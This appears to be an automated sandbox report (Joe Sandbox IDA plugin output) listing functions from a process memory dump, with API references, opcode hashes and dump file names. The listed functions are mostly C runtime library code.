Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 07820f821ed346ae760eef299b2d27b0ea6fa5820f43bb61b37f850f6f272a5e
Instruction ID: 8af319cdb8e988bd6240a1f5c7d28114a36eaa739edd10ddedcc296c4eed91b5
Opcode Fuzzy Hash: 07820f821ed346ae760eef299b2d27b0ea6fa5820f43bb61b37f850f6f272a5e
Instruction Fuzzy Hash: 8451B9306006486BDF3B9A6CC495FBEA79E9B06343F1E061EDC42DBAB1C6519D4CC742

Function 003581A7 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 003581A7

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ebb6602eb0b6c7e4b31f6876df63fcf4475529bc40f52d4f6fb8c7dc26098351
Instruction ID: 19e8d6854137b26e6313e04115acf90bd2a66e4aba56267a688ab8dcb9b51552
Opcode Fuzzy Hash: ebb6602eb0b6c7e4b31f6876df63fcf4475529bc40f52d4f6fb8c7dc26098351
Instruction Fuzzy Hash: 39A011302882008F83028F3AAA083083AACBA02380B00C02AE002C2020EBA088208A00

Function 00377B71 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction ID: dabea31d5d3769a9adcddcc703ecb8ba7753f8a9404359a0d3828aa390857c02
Opcode Fuzzy Hash: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction Fuzzy Hash: 81818131618B418FC73ACF29C8906AAB7E2EFD9314F14C92DD0EA87751D738A849CB45

Function 0034DDEF Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438bd0cc8c98b336ea809296fdbdecc5e4b45dd137da17caf48dd9fc61ba5f12
Instruction ID: 997cd87245427569a70846328d7bf5eda6fa717464edb4475a4a6631fe13dc92
Opcode Fuzzy Hash: 438bd0cc8c98b336ea809296fdbdecc5e4b45dd137da17caf48dd9fc61ba5f12
Instruction Fuzzy Hash: DB518071E00119AFDF15CF99C981AAEBBB2EF98300F198099E915AF251C734AE55CB90

Function 0035A6A3 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46d948bd289b0c8bbc97f903f7373f877a38da151df705f58fd91a7242504a17
Instruction ID: 20fc86df6ff796aa6fb02121b7090d316171a8bbb6b026424fa29a2226fec7a8
Opcode Fuzzy Hash: 46d948bd289b0c8bbc97f903f7373f877a38da151df705f58fd91a7242504a17
Instruction Fuzzy Hash: 0821B673F204394B770CC47E8C5227DB6E1C78C601745823AE8A6EA2C1D968D917E2E4

Function 0035A583 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 756fbbe120759a0d4d1b667f01f63e3bd89c4e8745df63ab17ee48946445c1ff
Instruction ID: 3632440418714df61b42477415fbdbbc417b89a807cd57760178caf1bd6614cf
Opcode Fuzzy Hash: 756fbbe120759a0d4d1b667f01f63e3bd89c4e8745df63ab17ee48946445c1ff
Instruction Fuzzy Hash: 4A11CA23F30C255B775C816D8C1327AA1D6DBD824070F433ADC26E7284F8A4DE13D290

Function 00361000 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8f9e4feaa1bab178c7014e289a260805489fa86e9e5f4cb0076d37f98651cac5
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 36110DB72000C283DE178A7DD5F46B7A7A6EBC6321B2EC37AD0514B75CD223E9C5A600

Function 00356EFD Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ded761d5ffa4682f073ad4b078057eac912a78cb4af02c888a94c68453cc92
Instruction ID: b5e0185288ac64f819c6e6b36e0fd24c68e61401a6c04fcf84d9e878428153f6
Opcode Fuzzy Hash: e6ded761d5ffa4682f073ad4b078057eac912a78cb4af02c888a94c68453cc92
Instruction Fuzzy Hash: E8E08C32D11228EBCB1ADB88E905D8AF7EDEB44B01B51409AF902D3120C270DE44CBD0

Function 00358DCE Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00358E12

Part of subcall function 003589AB: _free.LIBCMT ref: 003589C8
Part of subcall function 003589AB: _free.LIBCMT ref: 003589DA
Part of subcall function 003589AB: _free.LIBCMT ref: 003589EC
Part of subcall function 003589AB: _free.LIBCMT ref: 003589FE
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A10
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A22
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A34
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A46
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A58
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A6A
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A7C
Part of subcall function 003589AB: _free.LIBCMT ref: 00358A8E
Part of subcall function 003589AB: _free.LIBCMT ref: 00358AA0

_free.LIBCMT ref: 00358E07

Part of subcall function 003543F6: RtlFreeHeap.NTDLL(00000000,00000000,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?), ref: 0035440C
Part of subcall function 003543F6: GetLastError.KERNEL32(?,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?,?), ref: 0035441E

_free.LIBCMT ref: 00358E29
_free.LIBCMT ref: 00358E3E
_free.LIBCMT ref: 00358E49
_free.LIBCMT ref: 00358E6B
_free.LIBCMT ref: 00358E7E
_free.LIBCMT ref: 00358E8C
_free.LIBCMT ref: 00358E97
_free.LIBCMT ref: 00358ECF
_free.LIBCMT ref: 00358ED6
_free.LIBCMT ref: 00358EF3
_free.LIBCMT ref: 00358F0B

Strings

@6, xrefs: 00358DE4
x6, xrefs: 00358EBA

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: @6$x6
API String ID: 161543041-3790332844
Opcode ID: 59ffe04663879b23d688498b927a5099fb5f5b2a46c8b778e1acea66e987d483
Instruction ID: 6cd057064c4e6b4320504d7cabfcebd65bc17112423351056e4c204233acb97d
Opcode Fuzzy Hash: 59ffe04663879b23d688498b927a5099fb5f5b2a46c8b778e1acea66e987d483
Instruction Fuzzy Hash: BC313A35600301AFEB26AB38D846F5B73F9EB00356F154829E859AB171DF74AC998710

Function 00353983 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00353999

Part of subcall function 003543F6: RtlFreeHeap.NTDLL(00000000,00000000,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?), ref: 0035440C
Part of subcall function 003543F6: GetLastError.KERNEL32(?,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?,?), ref: 0035441E

_free.LIBCMT ref: 003539A5
_free.LIBCMT ref: 003539B0
_free.LIBCMT ref: 003539BB
_free.LIBCMT ref: 003539C6
_free.LIBCMT ref: 003539D1
_free.LIBCMT ref: 003539DC
_free.LIBCMT ref: 003539E7
_free.LIBCMT ref: 003539F2
_free.LIBCMT ref: 00353A00

Strings

hN6, xrefs: 00353990

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: hN6
API String ID: 776569668-415610008
Opcode ID: ce188016e9b708351dc3f296e14d6de37b35a2fa3b68e1915809a77b59586602
Instruction ID: 1161e44ff9ab7c77606d1dd31d28425a2d30f1fbebbe1b3fa1e2393b13ba7f31
Opcode Fuzzy Hash: ce188016e9b708351dc3f296e14d6de37b35a2fa3b68e1915809a77b59586602
Instruction Fuzzy Hash: 9821897A900208BFCB46EF98C981DDE7BB5FF08345B014165B9159F132EB35DA998B80

Function 0034B107 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0034B202
type_info::operator==.LIBVCRUNTIME ref: 0034B229
___TypeMatch.LIBVCRUNTIME ref: 0034B335
IsInExceptionSpec.LIBVCRUNTIME ref: 0034B410
_UnwindNestedFrames.LIBCMT ref: 0034B497
CallUnexpected.LIBVCRUNTIME ref: 0034B4B2

Strings

csm, xrefs: 0034B142
csm, xrefs: 0034B260
csm, xrefs: 0034B1AF

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 7e37a9e04d9ecf83dd62645b7f7b7c2bddb306281e62932d65bc4270a4246c01
Instruction ID: 3d0c048ad4049020ac65b565f2fce2b908adf7ce2183d95cfa3775c08997109a
Opcode Fuzzy Hash: 7e37a9e04d9ecf83dd62645b7f7b7c2bddb306281e62932d65bc4270a4246c01
Instruction Fuzzy Hash: 0FC16971900209AFCF2ADFA5C881AAEFBF5BF14310F05455AE8146F212D775EA61CF92

Function 0035C918 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fac39fde3b19b170e5dae0080521df13007f9c6e9d5fab07abd218e4ba4183
Instruction ID: 11d0e83fdc8085d4b5ebc6b88f64e3372693a47086b1fc91edc1b066331a0915
Opcode Fuzzy Hash: 25fac39fde3b19b170e5dae0080521df13007f9c6e9d5fab07abd218e4ba4183
Instruction Fuzzy Hash: 9EC106709143099FDB07DF98C881FADBBB4AF4A319F105158EC05AB3A2C774994ACB60

Function 00359E9A Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00359B53: CreateFileW.KERNEL32(00000000,00000000,?,00359F43,?,?,00000000,?,00359F43,00000000,0000000C), ref: 00359B70

GetLastError.KERNEL32 ref: 00359FAE
__dosmaperr.LIBCMT ref: 00359FB5
GetFileType.KERNEL32(00000000), ref: 00359FC1
GetLastError.KERNEL32 ref: 00359FCB
__dosmaperr.LIBCMT ref: 00359FD4
CloseHandle.KERNEL32(00000000), ref: 00359FF4
CloseHandle.KERNEL32(?), ref: 0035A141
GetLastError.KERNEL32 ref: 0035A173
__dosmaperr.LIBCMT ref: 0035A17A

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: ccc2697d1f43a7678af43d23f3e26f20e2dd580b8c5d723770c3e32b0b4cdbf3
Instruction ID: d4be61ce2a6272753d3247e30c33e6c3bca127bafd8ee3793b1a2943ce5615a7
Opcode Fuzzy Hash: ccc2697d1f43a7678af43d23f3e26f20e2dd580b8c5d723770c3e32b0b4cdbf3
Instruction Fuzzy Hash: 8AA12532A04545CFCF1ADF68DC51BAD3BB4AB06321F14425EEC12AF2A1D775890AD751

Function 003138D0 Relevance: 13.7, APIs: 9, Instructions: 180memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000001C), ref: 0031393A
SetupDiEnumDeviceInfo.SETUPAPI(?,?,00000000), ref: 00313958
LocalAlloc.KERNEL32(00000040,0000001C), ref: 00313993
SetupDiEnumDeviceInterfaces.SETUPAPI(?,00000000,00363210,?,00000000), ref: 003139B8

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocDeviceEnumLocalSetup$InfoInterfaces
String ID:
API String ID: 1562706109-0
Opcode ID: 9dda118cd784378ff5dc129ecf27837b1e8542e086fc37b3fe01c31703004dba
Instruction ID: d5c9afc881b6a9bc7fba56d26a1367ce8a8543e79dd95aa6f09dd7756cd3e5dc
Opcode Fuzzy Hash: 9dda118cd784378ff5dc129ecf27837b1e8542e086fc37b3fe01c31703004dba
Instruction Fuzzy Hash: FF71E771E40208EFDB09DF98D895BDEBBB5FF48310F108619F516AB294DB70AA45CB50

Function 0034AAB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0034AAE7
___except_validate_context_record.LIBVCRUNTIME ref: 0034AAEF
_ValidateLocalCookies.LIBCMT ref: 0034AB78
__IsNonwritableInCurrentImage.LIBCMT ref: 0034ABA3
_ValidateLocalCookies.LIBCMT ref: 0034ABF8

Strings

csm, xrefs: 0034AB8D

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: a5df99ef82531c0b15d647a172bd92199bf5751e33bbc50a71676f332ee9aadf
Instruction ID: f8c5483168c48fb082f45dcbf71421b671aeb6a53adcfeb6939cbcf5f8d20049
Opcode Fuzzy Hash: a5df99ef82531c0b15d647a172bd92199bf5751e33bbc50a71676f332ee9aadf
Instruction Fuzzy Hash: C841E234A00618ABCF12DF68C884A9EBBF6EF45324F148159E8159F392C771FE45CB92

Function 003549F7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00354A62
api-ms-, xrefs: 00354A4E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: b673d843b99367c92641c8d95fe16643baa023d1c184a0efd15c79a4f0a07069
Instruction ID: 3f3954b2491132e852679f77223817d350c27cb02f9c9a490d7617fe2e2e036a
Opcode Fuzzy Hash: b673d843b99367c92641c8d95fe16643baa023d1c184a0efd15c79a4f0a07069
Instruction Fuzzy Hash: 35210D31EC5221BBCB779B25DC84E5A379C9F417AAF220120EC06A76B0D670DD4887D8

Function 00358B4A Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00358B12: _free.LIBCMT ref: 00358B37

_free.LIBCMT ref: 00358B98

Part of subcall function 003543F6: RtlFreeHeap.NTDLL(00000000,00000000,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?), ref: 0035440C
Part of subcall function 003543F6: GetLastError.KERNEL32(?,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?,?), ref: 0035441E

_free.LIBCMT ref: 00358BA3
_free.LIBCMT ref: 00358BAE
_free.LIBCMT ref: 00358C02
_free.LIBCMT ref: 00358C0D
_free.LIBCMT ref: 00358C18
_free.LIBCMT ref: 00358C23

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 69f2b5708e616187e934cedd954eabdd3f6ef88739ed6815fd0e6bcb534e0a1a
Instruction ID: 29cfdd73913210a15f4a887a6bfeb3943a9812215809fb08e83d1a74dcf4e567
